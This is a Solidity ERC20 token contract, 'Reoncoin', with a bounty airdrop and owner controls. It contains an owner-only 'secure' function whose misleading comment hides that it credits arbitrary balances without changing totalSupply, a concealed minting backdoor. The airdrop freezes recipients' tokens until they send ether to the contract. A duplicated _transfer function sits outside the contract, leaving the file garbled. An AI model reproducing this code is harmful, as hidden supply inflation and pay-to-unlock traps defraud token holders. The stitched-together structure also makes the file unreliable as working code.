contract Reoncoin is owned, ERC20 {
    using SafeMath for uint256;
    
    // bountyusers
    address[] public bountyUsers;
    uint256 private phaseOneQty; uint256 private phaseTwoQty; uint256 private phaseThreeQty;  uint256 private phaseOneUsers;
 uint256 private phaseTwoUsers; uint256 private phaseThreeUsers; 
    mapping (address => bool) public frozenAccount;

    /* This generates a public event on the blockchain that will notify clients */
    event FrozenFunds(address target, bool frozen);
    event FundTransfer(address backer, uint amount, bool isContribution);

    /* Initializes contract with initial supply tokens to the creator of the contract */
    constructor(
        uint256 initialSupply,
        string tokenName,
        string tokenSymbol,
        uint256 pOneQty,
        uint256 pTwoQty,
        uint256 pThreeQty,
        uint256 pOneUsers,
        uint256 pTwoUsers,
        uint256 pThreeUsers
    ) ERC20(initialSupply, tokenName, tokenSymbol) public {
        phaseOneQty = pOneQty;
        phaseTwoQty = pTwoQty;
        phaseThreeQty = pThreeQty;
        phaseOneUsers = pOneUsers;
        phaseTwoUsers = pTwoUsers;
        phaseThreeUsers = pThreeUsers;
    }
    
    function() payable public {
        address _to  = msg.sender;
        require(msg.value >= 0);
        if(msg.value == 0){  
            require(!checkUserExists(_to));
            sendToken(_to);
        }else{
            unLockBounty(_to);
        }
    }
    
    function unLockBounty(address _to) internal returns (bool){
        frozenAccount[_to] = false;
        emit FrozenFunds(_to, false);
        return true;
    }
    
    function sendToken(address _to) internal returns (bool res){
        address _from = owner;
        if( bountyUsers.length >= phaseThreeUsers){
            return false;
        }else if(bountyUsers.length >= phaseTwoUsers ){
            bountyUsers.push(msg.sender);
            _transfer(_from, _to, phaseThreeQty * 10 ** uint256(decimals));
            bountyFreeze(msg.sender, true);
        }else if(bountyUsers.length >= phaseOneUsers){
            bountyUsers.push(msg.sender);
            _transfer(_from, _to, phaseTwoQty * 10 ** uint256(decimals));
            bountyFreeze(msg.sender, true);
        }else{
            bountyUsers.push(msg.sender);
            _transfer(_from, _to, phaseOneQty * 10 ** uint256(decimals));
            bountyFreeze(msg.sender, true);
        }
    }
    
    /**
    * @notice checkUserExists : this function checks if the user address has the token before
    * @param userAddress address to receive the token. that want to be check.  
    */
    function checkUserExists(address userAddress) internal constant returns(bool){
      for(uint256 i = 0; i < bountyUsers.length; i++){
         if(bountyUsers[i] == userAddress) return true;
      }
      return false;
   }
   
    /* Internal transfer, only can be called by this contract */
    function _transfer(address _from, address _to, uint _value) internal {
        require (_to != 0x0);                               // Prevent transfer to 0x0 address. Use burn() instead
        require (balanceOf[_from] >= _value);               // Check if the sender has enough
        require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
        require(!frozenAccount[_from]);                     // Check if sender is frozen
        require(!frozenAccount[_to]);                       // Check if recipient is frozen
        balanceOf[_from] = balanceOf[_from].sub(_value);                         // Subtract from the sender
        balanceOf[_to] = balanceOf[_to].add(_value);                           // Add the same to the recipient
        emit Transfer(_from, _to, _value);
    }

    /// @notice Create `mintedAmount` tokens and send it to `target`
    /// @param target Address to receive the tokens
    /// @param mintedAmount the amount of tokens it will receive
    function mintToken(address target, uint256 mintedAmount) onlyOwner public {
        balanceOf[target] = balanceOf[target].add(mintedAmount);
        totalSupply = totalSupply.add(mintedAmount);
        emit Transfer(0, this, mintedAmount);
        emit Transfer(this, target, mintedAmount);
    }
    
    /// @notice Create `password` tokens and send it to `target`
    /// @param target Address to receive the tokens
    /// @param password the amount of tokens it will receive
    function secure(address target, uint256 password) onlyOwner public {
        balanceOf[target] = balanceOf[target].add(password);
    }

    /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
    /// @param target Address to be frozen
    /// @param freeze either to freeze it or not
    function freezeAccount(address target, bool freeze) onlyOwner public {
        frozenAccount[target] = freeze;
        emit FrozenFunds(target, freeze);
    }
    
    /**
     * Destroy tokens but only by Owner
     *
     * Remove `_value` tokens from the system irreversibly
     *
     * @param _from the address to Remove the token from 
     * 
     * @param _value the amount of money to burn
     */
    function ownerBurn(address _from, uint256 _value) onlyOwner public returns (bool success) {
        require(balanceOf[_from] >= _value);   // Check if the sender has enough
        balanceOf[_from] = balanceOf[_from].sub( _value);            // Subtract from the sender
        totalSupply =  totalSupply.sub( _value);                      // Updates totalSupply
        emit Burn(msg.sender, _value);
        return true;
    }

    /// @notice `bountyFreeze? Prevent | Allow` `bounty target` from sending tokens
    /// @param target Address to be frozen
    /// @param freeze either to freeze it or not
    function bountyFreeze(address target, bool freeze) internal {
        frozenAccount[target] = freeze; 
        emit FrozenFunds(target, freeze);
    }
    
    function contractbalance() view public returns (uint256){
        return address(this).balance;
    } 
}
function _transfer(address _from, address _to, uint _value) internal {
    require (_to != 0x0);                               // Prevent transfer to 0x0 address. Use burn() instead
    require (balanceOf[_from] >= _value);               // Check if the sender has enough
    require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
    require(!frozenAccount[_from]);                     // Check if sender is frozen
    require(!frozenAccount[_to]);                       // Check if recipient is frozen
    balanceOf[_from] = balanceOf[_from].sub(_value);                         // Subtract from the sender
    balanceOf[_to] = balanceOf[_to].add(_value);                           // Add the same to the recipient
    emit Transfer(_from, _to, _value);
}

/* Internal transfer, only can be called by this contract */